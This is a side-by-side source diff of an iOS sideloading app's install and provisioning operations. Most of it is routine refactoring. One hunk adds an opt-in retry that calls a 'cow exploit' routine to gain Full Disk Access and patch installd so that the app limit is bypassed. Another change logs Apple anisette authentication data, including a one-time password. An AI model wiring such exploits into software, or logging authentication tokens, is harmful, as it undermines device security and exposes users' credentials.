content.title = NSLocalizedString("Failed to Refresh Apps", comment: "")
|
content.title = NSLocalizedString("Failed to Refresh Apps", comment: "")
|
||||||
content.body = error.localizedDescription
|
content.body = error.localizedDescription
|
||||||
|
|
||||||
shouldPresentAlert = true
|
shouldPresentAlert = false
|
||||||
}
|
}
|
||||||
|
|
||||||
if shouldPresentAlert
|
if shouldPresentAlert
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ import Roxas
|
|||||||
import minimuxer
|
import minimuxer
|
||||||
|
|
||||||
@objc(DeactivateAppOperation)
|
@objc(DeactivateAppOperation)
|
||||||
class DeactivateAppOperation: ResultOperation<InstalledApp>
|
final class DeactivateAppOperation: ResultOperation<InstalledApp>
|
||||||
{
|
{
|
||||||
let app: InstalledApp
|
let app: InstalledApp
|
||||||
let context: OperationContext
|
let context: OperationContext
|
||||||
|
|||||||
@@ -30,13 +30,13 @@ private extension DownloadAppOperation
|
|||||||
}
|
}
|
||||||
|
|
||||||
@objc(DownloadAppOperation)
|
@objc(DownloadAppOperation)
|
||||||
class DownloadAppOperation: ResultOperation<ALTApplication>
|
final class DownloadAppOperation: ResultOperation<ALTApplication>
|
||||||
{
|
{
|
||||||
let app: AppProtocol
|
let app: AppProtocol
|
||||||
let context: AppOperationContext
|
let context: AppOperationContext
|
||||||
|
|
||||||
private let bundleIdentifier: String
|
private let bundleIdentifier: String
|
||||||
private let sourceURL: URL
|
private var sourceURL: URL?
|
||||||
private let destinationURL: URL
|
private let destinationURL: URL
|
||||||
|
|
||||||
private let session = URLSession(configuration: .default)
|
private let session = URLSession(configuration: .default)
|
||||||
@@ -69,7 +69,9 @@ class DownloadAppOperation: ResultOperation<ALTApplication>
|
|||||||
|
|
||||||
print("Downloading App:", self.bundleIdentifier)
|
print("Downloading App:", self.bundleIdentifier)
|
||||||
|
|
||||||
self.downloadApp(from: self.sourceURL) { result in
|
guard let sourceURL = self.sourceURL else { return self.finish(.failure(OperationError.appNotFound)) }
|
||||||
|
|
||||||
|
self.downloadApp(from: sourceURL) { result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let application = try result.get()
|
let application = try result.get()
|
||||||
@@ -165,7 +167,7 @@ private extension DownloadAppOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if self.sourceURL.isFileURL
|
if sourceURL.isFileURL
|
||||||
{
|
{
|
||||||
finishOperation(.success(sourceURL))
|
finishOperation(.success(sourceURL))
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ protocol EnableJITContext
|
|||||||
}
|
}
|
||||||
|
|
||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
|
final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
|
||||||
{
|
{
|
||||||
let context: Context
|
let context: Context
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import AltSign
|
|||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
@objc(FetchAnisetteDataOperation)
|
@objc(FetchAnisetteDataOperation)
|
||||||
class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
|
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
|
||||||
{
|
{
|
||||||
let context: OperationContext
|
let context: OperationContext
|
||||||
|
|
||||||
@@ -47,6 +47,7 @@ class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
|
|||||||
let formattedJSON: [String: String] = ["machineID": json["X-Apple-I-MD-M"]!, "oneTimePassword": json["X-Apple-I-MD"]!, "localUserID": json["X-Apple-I-MD-LU"]!, "routingInfo": json["X-Apple-I-MD-RINFO"]!, "deviceUniqueIdentifier": json["X-Mme-Device-Id"]!, "deviceDescription": json["X-MMe-Client-Info"]!, "date": json["X-Apple-I-Client-Time"]!, "locale": json["X-Apple-Locale"]!, "timeZone": json["X-Apple-I-TimeZone"]!, "deviceSerialNumber": "1"]
|
let formattedJSON: [String: String] = ["machineID": json["X-Apple-I-MD-M"]!, "oneTimePassword": json["X-Apple-I-MD"]!, "localUserID": json["X-Apple-I-MD-LU"]!, "routingInfo": json["X-Apple-I-MD-RINFO"]!, "deviceUniqueIdentifier": json["X-Mme-Device-Id"]!, "deviceDescription": json["X-MMe-Client-Info"]!, "date": json["X-Apple-I-Client-Time"]!, "locale": json["X-Apple-Locale"]!, "timeZone": json["X-Apple-I-TimeZone"]!, "deviceSerialNumber": "1"]
|
||||||
|
|
||||||
if let anisette = ALTAnisetteData(json: formattedJSON) {
|
if let anisette = ALTAnisetteData(json: formattedJSON) {
|
||||||
|
DLOG("Anisette used: %@", formattedJSON)
|
||||||
self.finish(.success(anisette))
|
self.finish(.success(anisette))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import AltSign
|
|||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
@objc(FetchAppIDsOperation)
|
@objc(FetchAppIDsOperation)
|
||||||
class FetchAppIDsOperation: ResultOperation<([AppID], NSManagedObjectContext)>
|
final class FetchAppIDsOperation: ResultOperation<([AppID], NSManagedObjectContext)>
|
||||||
{
|
{
|
||||||
let context: AuthenticatedOperationContext
|
let context: AuthenticatedOperationContext
|
||||||
let managedObjectContext: NSManagedObjectContext
|
let managedObjectContext: NSManagedObjectContext
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import AltSign
|
|||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
@objc(FetchProvisioningProfilesOperation)
|
@objc(FetchProvisioningProfilesOperation)
|
||||||
class FetchProvisioningProfilesOperation: ResultOperation<[String: ALTProvisioningProfile]>
|
final class FetchProvisioningProfilesOperation: ResultOperation<[String: ALTProvisioningProfile]>
|
||||||
{
|
{
|
||||||
let context: AppOperationContext
|
let context: AppOperationContext
|
||||||
|
|
||||||
@@ -131,19 +131,19 @@ extension FetchProvisioningProfilesOperation
|
|||||||
// or if installedApp.team is nil but resignedBundleIdentifier contains the team's identifier.
|
// or if installedApp.team is nil but resignedBundleIdentifier contains the team's identifier.
|
||||||
let teamsMatch = installedApp.team?.identifier == team.identifier || (installedApp.team == nil && installedApp.resignedBundleIdentifier.contains(team.identifier))
|
let teamsMatch = installedApp.team?.identifier == team.identifier || (installedApp.team == nil && installedApp.resignedBundleIdentifier.contains(team.identifier))
|
||||||
|
|
||||||
#if DEBUG
|
// #if DEBUG
|
||||||
|
//
|
||||||
if app.isAltStoreApp
|
// if app.isAltStoreApp
|
||||||
{
|
// {
|
||||||
// Use legacy bundle ID format for AltStore.
|
// // Use legacy bundle ID format for AltStore.
|
||||||
preferredBundleID = teamsMatch ? installedApp.resignedBundleIdentifier : nil
|
// preferredBundleID = teamsMatch ? installedApp.resignedBundleIdentifier : nil
|
||||||
}
|
// }
|
||||||
else
|
// else
|
||||||
{
|
// {
|
||||||
preferredBundleID = teamsMatch ? installedApp.resignedBundleIdentifier : nil
|
// preferredBundleID = teamsMatch ? installedApp.resignedBundleIdentifier : nil
|
||||||
}
|
// }
|
||||||
|
//
|
||||||
#else
|
// #else
|
||||||
|
|
||||||
if teamsMatch
|
if teamsMatch
|
||||||
{
|
{
|
||||||
@@ -157,7 +157,7 @@ extension FetchProvisioningProfilesOperation
|
|||||||
preferredBundleID = nil
|
preferredBundleID = nil
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif
|
// #endif
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -478,10 +478,13 @@ extension FetchProvisioningProfilesOperation
|
|||||||
ALTAppleAPI.shared.delete(profile, for: team, session: session) { (success, error) in
|
ALTAppleAPI.shared.delete(profile, for: team, session: session) { (success, error) in
|
||||||
switch Result(success, error)
|
switch Result(success, error)
|
||||||
{
|
{
|
||||||
case .failure(let error): completionHandler(.failure(error))
|
case .failure:
|
||||||
case .success:
|
// As of March 20, 2023, the free provisioning profile is re-generated each fetch, and you can no longer delete it.
|
||||||
|
// So instead, we just return the fetched profile from above.
|
||||||
|
completionHandler(.success(profile))
|
||||||
|
|
||||||
// Fetch new provisiong profile
|
case .success:
|
||||||
|
// Fetch new provisioning profile
|
||||||
ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: .iphone, team: team, session: session) { (profile, error) in
|
ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: .iphone, team: team, session: session) { (profile, error) in
|
||||||
completionHandler(Result(profile, error))
|
completionHandler(Result(profile, error))
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import AltStoreCore
|
|||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
@objc(FetchSourceOperation)
|
@objc(FetchSourceOperation)
|
||||||
class FetchSourceOperation: ResultOperation<Source>
|
final class FetchSourceOperation: ResultOperation<Source>
|
||||||
{
|
{
|
||||||
let sourceURL: URL
|
let sourceURL: URL
|
||||||
let managedObjectContext: NSManagedObjectContext
|
let managedObjectContext: NSManagedObjectContext
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ extension FetchTrustedSourcesOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class FetchTrustedSourcesOperation: ResultOperation<[FetchTrustedSourcesOperation.TrustedSource]>
|
final class FetchTrustedSourcesOperation: ResultOperation<[FetchTrustedSourcesOperation.TrustedSource]>
|
||||||
{
|
{
|
||||||
override func main()
|
override func main()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -8,12 +8,12 @@
|
|||||||
import Foundation
|
import Foundation
|
||||||
import Network
|
import Network
|
||||||
|
|
||||||
import AltStoreCore
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import AltStoreCore
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
@objc(InstallAppOperation)
|
@objc(InstallAppOperation)
|
||||||
class InstallAppOperation: ResultOperation<InstalledApp>
|
final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||||
{
|
{
|
||||||
let context: InstallAppOperationContext
|
let context: InstallAppOperationContext
|
||||||
|
|
||||||
@@ -44,8 +44,8 @@ class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
|
|
||||||
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||||
backgroundContext.perform {
|
backgroundContext.perform
|
||||||
|
{
|
||||||
/* App */
|
/* App */
|
||||||
let installedApp: InstalledApp
|
let installedApp: InstalledApp
|
||||||
|
|
||||||
@@ -86,6 +86,11 @@ class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
let resignedBundleID = appExtension.bundleIdentifier
|
let resignedBundleID = appExtension.bundleIdentifier
|
||||||
let originalBundleID = resignedBundleID.replacingOccurrences(of: resignedParentBundleID, with: parentBundleID)
|
let originalBundleID = resignedBundleID.replacingOccurrences(of: resignedParentBundleID, with: parentBundleID)
|
||||||
|
|
||||||
|
print("`parentBundleID`: \(parentBundleID)")
|
||||||
|
print("`resignedParentBundleID`: \(resignedParentBundleID)")
|
||||||
|
print("`resignedBundleID`: \(resignedBundleID)")
|
||||||
|
print("`originalBundleID`: \(originalBundleID)")
|
||||||
|
|
||||||
let installedExtension: InstalledExtension
|
let installedExtension: InstalledExtension
|
||||||
|
|
||||||
if let appExtension = installedApp.appExtensions.first(where: { $0.bundleIdentifier == originalBundleID })
|
if let appExtension = installedApp.appExtensions.first(where: { $0.bundleIdentifier == originalBundleID })
|
||||||
@@ -137,7 +142,8 @@ class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
|
activeProfiles = Set(activeApps.flatMap
|
||||||
|
{ installedApp -> [String] in
|
||||||
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
|
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
|
||||||
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
||||||
})
|
})
|
||||||
@@ -147,11 +153,50 @@ class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
||||||
|
|
||||||
let res = minimuxer_install_ipa(ns_bundle_ptr)
|
let res = minimuxer_install_ipa(ns_bundle_ptr)
|
||||||
if res == 0 {
|
if res == 0
|
||||||
|
{
|
||||||
installedApp.refreshedDate = Date()
|
installedApp.refreshedDate = Date()
|
||||||
self.finish(.success(installedApp))
|
self.finish(.success(installedApp))
|
||||||
|
}
|
||||||
|
else if res == -15
|
||||||
|
{
|
||||||
|
// try again
|
||||||
|
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
|
||||||
|
{
|
||||||
|
patch3AppLimit
|
||||||
|
{ result in
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
case .success:
|
||||||
|
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
|
||||||
|
print("patched sucessfully")
|
||||||
|
case .failure(let err):
|
||||||
|
switch err
|
||||||
|
{
|
||||||
|
case .NoFDA:
|
||||||
|
self.finish(.failure(OperationError.cowExploitNoFDA))
|
||||||
|
return
|
||||||
|
case .FailedPatchd:
|
||||||
|
self.finish(.failure(OperationError.cowExploitFailedPatchd))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
} else {
|
let res_try_again = minimuxer_install_ipa(ns_bundle_ptr)
|
||||||
|
if res_try_again == 0
|
||||||
|
{
|
||||||
|
installedApp.refreshedDate = Date()
|
||||||
|
self.finish(.success(installedApp))
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
self.finish(.failure(minimuxer_to_operation(code: res_try_again)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
self.finish(.failure(minimuxer_to_operation(code: res)))
|
self.finish(.failure(minimuxer_to_operation(code: res)))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -38,7 +38,7 @@ class OperationContext
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class AuthenticatedOperationContext: OperationContext
|
final class AuthenticatedOperationContext: OperationContext
|
||||||
{
|
{
|
||||||
var session: ALTAppleAPISession?
|
var session: ALTAppleAPISession?
|
||||||
|
|
||||||
|
|||||||
@@ -6,11 +6,12 @@
|
|||||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
enum OperationError: LocalizedError {
|
||||||
|
static let domain = OperationError.unknown._domain
|
||||||
|
|
||||||
enum OperationError: LocalizedError
|
|
||||||
{
|
|
||||||
case unknown
|
case unknown
|
||||||
case unknownResult
|
case unknownResult
|
||||||
case cancelled
|
case cancelled
|
||||||
@@ -43,6 +44,8 @@ enum OperationError: LocalizedError
|
|||||||
case functionArguments
|
case functionArguments
|
||||||
case profileInstall
|
case profileInstall
|
||||||
case noConnection
|
case noConnection
|
||||||
|
case cowExploitNoFDA
|
||||||
|
case cowExploitFailedPatchd
|
||||||
|
|
||||||
var failureReason: String? {
|
var failureReason: String? {
|
||||||
switch self {
|
switch self {
|
||||||
@@ -71,22 +74,21 @@ enum OperationError: LocalizedError
|
|||||||
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
|
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
|
||||||
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||||
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||||
|
case .cowExploitNoFDA: return NSLocalizedString("Unable to get Full Disk Access using exploit.", comment: "")
|
||||||
|
case .cowExploitFailedPatchd: return NSLocalizedString("Unable to patch installd using exploit.", comment: "")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var recoverySuggestion: String? {
|
var recoverySuggestion: String? {
|
||||||
switch self
|
switch self {
|
||||||
{
|
|
||||||
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
|
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
|
||||||
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
|
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
|
||||||
let message: String
|
let message: String
|
||||||
|
|
||||||
if requiredAppIDs > 1
|
if requiredAppIDs > 1 {
|
||||||
{
|
|
||||||
let availableText: String
|
let availableText: String
|
||||||
|
|
||||||
switch availableAppIDs
|
switch availableAppIDs {
|
||||||
{
|
|
||||||
case 0: availableText = NSLocalizedString("none are available", comment: "")
|
case 0: availableText = NSLocalizedString("none are available", comment: "")
|
||||||
case 1: availableText = NSLocalizedString("only 1 is available", comment: "")
|
case 1: availableText = NSLocalizedString("only 1 is available", comment: "")
|
||||||
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
|
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
|
||||||
@@ -95,8 +97,7 @@ enum OperationError: LocalizedError
|
|||||||
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
|
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
|
||||||
message = prefixMessage + " " + baseMessage
|
message = prefixMessage + " " + baseMessage
|
||||||
}
|
}
|
||||||
else
|
else {
|
||||||
{
|
|
||||||
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
|
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
|
||||||
|
|
||||||
let dateComponentsFormatter = DateComponentsFormatter()
|
let dateComponentsFormatter = DateComponentsFormatter()
|
||||||
@@ -118,45 +119,45 @@ enum OperationError: LocalizedError
|
|||||||
|
|
||||||
func minimuxer_to_operation(code: Int32) -> OperationError {
|
func minimuxer_to_operation(code: Int32) -> OperationError {
|
||||||
switch code {
|
switch code {
|
||||||
case -1:
|
case 1:
|
||||||
return OperationError.noDevice
|
return OperationError.noDevice
|
||||||
case -2:
|
case 2:
|
||||||
return OperationError.createService(name: "debug")
|
return OperationError.createService(name: "debug")
|
||||||
case -3:
|
case 3:
|
||||||
return OperationError.createService(name: "instproxy")
|
return OperationError.createService(name: "instproxy")
|
||||||
case -4:
|
case 4:
|
||||||
return OperationError.getFromDevice(name: "installed apps")
|
return OperationError.getFromDevice(name: "installed apps")
|
||||||
case -5:
|
case 5:
|
||||||
return OperationError.getFromDevice(name: "path to the app")
|
return OperationError.getFromDevice(name: "path to the app")
|
||||||
case -6:
|
case 6:
|
||||||
return OperationError.getFromDevice(name: "bundle path")
|
return OperationError.getFromDevice(name: "bundle path")
|
||||||
case -7:
|
case 7:
|
||||||
return OperationError.setArgument(name: "max packet")
|
return OperationError.setArgument(name: "max packet")
|
||||||
case -8:
|
case 8:
|
||||||
return OperationError.setArgument(name: "working directory")
|
return OperationError.setArgument(name: "working directory")
|
||||||
case -9:
|
case 9:
|
||||||
return OperationError.setArgument(name: "argv")
|
return OperationError.setArgument(name: "argv")
|
||||||
case -10:
|
case 10:
|
||||||
return OperationError.getFromDevice(name: "launch success")
|
return OperationError.getFromDevice(name: "launch success")
|
||||||
case -11:
|
case 11:
|
||||||
return OperationError.detach
|
return OperationError.detach
|
||||||
case -12:
|
case 12:
|
||||||
return OperationError.functionArguments
|
return OperationError.functionArguments
|
||||||
case -13:
|
case 13:
|
||||||
return OperationError.createService(name: "AFC")
|
return OperationError.createService(name: "AFC")
|
||||||
case -14:
|
case 14:
|
||||||
return OperationError.afc
|
return OperationError.afc
|
||||||
case -15:
|
case 15:
|
||||||
return OperationError.install
|
return OperationError.install
|
||||||
case -16:
|
case 16:
|
||||||
return OperationError.uninstall
|
return OperationError.uninstall
|
||||||
case -17:
|
case 17:
|
||||||
return OperationError.createService(name: "misagent")
|
return OperationError.createService(name: "misagent")
|
||||||
case -18:
|
case 18:
|
||||||
return OperationError.profileInstall
|
return OperationError.profileInstall
|
||||||
case -19:
|
case 19:
|
||||||
return OperationError.profileInstall
|
return OperationError.profileInstall
|
||||||
case -20:
|
case 20:
|
||||||
return OperationError.noConnection
|
return OperationError.noConnection
|
||||||
default:
|
default:
|
||||||
return OperationError.unknown
|
return OperationError.unknown
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ private struct OTAUpdate
|
|||||||
}
|
}
|
||||||
|
|
||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
class PatchAppOperation: ResultOperation<Void>
|
final class PatchAppOperation: ResultOperation<Void>
|
||||||
{
|
{
|
||||||
let context: PatchAppContext
|
let context: PatchAppContext
|
||||||
|
|
||||||
|
|||||||
@@ -29,7 +29,7 @@ extension PatchViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
@available(iOS 14.0, *)
|
@available(iOS 14.0, *)
|
||||||
class PatchViewController: UIViewController
|
final class PatchViewController: UIViewController
|
||||||
{
|
{
|
||||||
var patchApp: AnyApp?
|
var patchApp: AnyApp?
|
||||||
var installedApp: InstalledApp?
|
var installedApp: InstalledApp?
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ import Roxas
|
|||||||
import minimuxer
|
import minimuxer
|
||||||
|
|
||||||
@objc(RefreshAppOperation)
|
@objc(RefreshAppOperation)
|
||||||
class RefreshAppOperation: ResultOperation<InstalledApp>
|
final class RefreshAppOperation: ResultOperation<InstalledApp>
|
||||||
{
|
{
|
||||||
let context: AppOperationContext
|
let context: AppOperationContext
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import CoreData
|
|||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import AltSign
|
import AltSign
|
||||||
|
|
||||||
class RefreshGroup: NSObject
|
final class RefreshGroup: NSObject
|
||||||
{
|
{
|
||||||
let context: AuthenticatedOperationContext
|
let context: AuthenticatedOperationContext
|
||||||
let progress = Progress.discreteProgress(totalUnitCount: 0)
|
let progress = Progress.discreteProgress(totalUnitCount: 0)
|
||||||
|
|||||||
@@ -9,7 +9,7 @@
|
|||||||
import Foundation
|
import Foundation
|
||||||
|
|
||||||
@objc(RemoveAppBackupOperation)
|
@objc(RemoveAppBackupOperation)
|
||||||
class RemoveAppBackupOperation: ResultOperation<Void>
|
final class RemoveAppBackupOperation: ResultOperation<Void>
|
||||||
{
|
{
|
||||||
let context: InstallAppOperationContext
|
let context: InstallAppOperationContext
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import AltStoreCore
|
|||||||
import minimuxer
|
import minimuxer
|
||||||
|
|
||||||
@objc(RemoveAppOperation)
|
@objc(RemoveAppOperation)
|
||||||
class RemoveAppOperation: ResultOperation<InstalledApp>
|
final class RemoveAppOperation: ResultOperation<InstalledApp>
|
||||||
{
|
{
|
||||||
let context: InstallAppOperationContext
|
let context: InstallAppOperationContext
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import AltStoreCore
|
|||||||
import AltSign
|
import AltSign
|
||||||
|
|
||||||
@objc(ResignAppOperation)
|
@objc(ResignAppOperation)
|
||||||
class ResignAppOperation: ResultOperation<ALTApplication>
|
final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||||
{
|
{
|
||||||
let context: InstallAppOperationContext
|
let context: InstallAppOperationContext
|
||||||
|
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ import Network
|
|||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
|
|
||||||
@objc(SendAppOperation)
|
@objc(SendAppOperation)
|
||||||
class SendAppOperation: ResultOperation<()>
|
final class SendAppOperation: ResultOperation<()>
|
||||||
{
|
{
|
||||||
let context: InstallAppOperationContext
|
let context: InstallAppOperationContext
|
||||||
|
|
||||||
@@ -39,9 +39,10 @@ class SendAppOperation: ResultOperation<()>
|
|||||||
guard let resignedApp = self.context.resignedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
guard let resignedApp = self.context.resignedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
|
|
||||||
// self.context.resignedApp.fileURL points to the app bundle, but we want the .ipa.
|
// self.context.resignedApp.fileURL points to the app bundle, but we want the .ipa.
|
||||||
let app = AnyApp(name: resignedApp.name, bundleIdentifier: self.context.bundleIdentifier, url: resignedApp.url)
|
let app = AnyApp(name: resignedApp.name, bundleIdentifier: self.context.bundleIdentifier, url: resignedApp.fileURL)
|
||||||
let fileURL = InstalledApp.refreshedIPAURL(for: app)
|
let fileURL = InstalledApp.refreshedIPAURL(for: app)
|
||||||
|
|
||||||
|
print("AFC App `fileURL`: \(fileURL.absoluteString)")
|
||||||
|
|
||||||
let ns_bundle = NSString(string: app.bundleIdentifier)
|
let ns_bundle = NSString(string: app.bundleIdentifier)
|
||||||
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
||||||
@@ -53,6 +54,7 @@ class SendAppOperation: ResultOperation<()>
|
|||||||
}
|
}
|
||||||
let res = minimuxer_yeet_app_afc(ns_bundle_ptr, pls, UInt(data.length))
|
let res = minimuxer_yeet_app_afc(ns_bundle_ptr, pls, UInt(data.length))
|
||||||
if res == 0 {
|
if res == 0 {
|
||||||
|
print("minimuxer_yeet_app_afc `res` == \(res)")
|
||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
self.finish(.success(()))
|
self.finish(.success(()))
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ extension UpdatePatronsOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class UpdatePatronsOperation: ResultOperation<Void>
|
final class UpdatePatronsOperation: ResultOperation<Void>
|
||||||
{
|
{
|
||||||
let context: NSManagedObjectContext
|
let context: NSManagedObjectContext
|
||||||
|
|
||||||
|
|||||||
@@ -55,7 +55,7 @@ enum VerificationError: ALTLocalizedError
|
|||||||
}
|
}
|
||||||
|
|
||||||
@objc(VerifyAppOperation)
|
@objc(VerifyAppOperation)
|
||||||
class VerifyAppOperation: ResultOperation<Void>
|
final class VerifyAppOperation: ResultOperation<Void>
|
||||||
{
|
{
|
||||||
let context: AppOperationContext
|
let context: AppOperationContext
|
||||||
var verificationHandler: ((VerificationError) -> Bool)?
|
var verificationHandler: ((VerificationError) -> Bool)?
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 7.5 KiB After Width: | Height: | Size: 8.4 KiB |
|
Before Width: | Height: | Size: 192 KiB After Width: | Height: | Size: 846 KiB |
|
Before Width: | Height: | Size: 9.2 KiB After Width: | Height: | Size: 10 KiB |
|
Before Width: | Height: | Size: 9.8 KiB After Width: | Height: | Size: 11 KiB |
|
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 15 KiB |
|
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 16 KiB |
|
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 912 B After Width: | Height: | Size: 997 B |
|
Before Width: | Height: | Size: 1.3 KiB After Width: | Height: | Size: 1.6 KiB |
|
Before Width: | Height: | Size: 2.0 KiB After Width: | Height: | Size: 2.4 KiB |
|
Before Width: | Height: | Size: 2.7 KiB After Width: | Height: | Size: 3.2 KiB |
|
Before Width: | Height: | Size: 3.2 KiB After Width: | Height: | Size: 3.8 KiB |
|
Before Width: | Height: | Size: 3.3 KiB After Width: | Height: | Size: 3.9 KiB |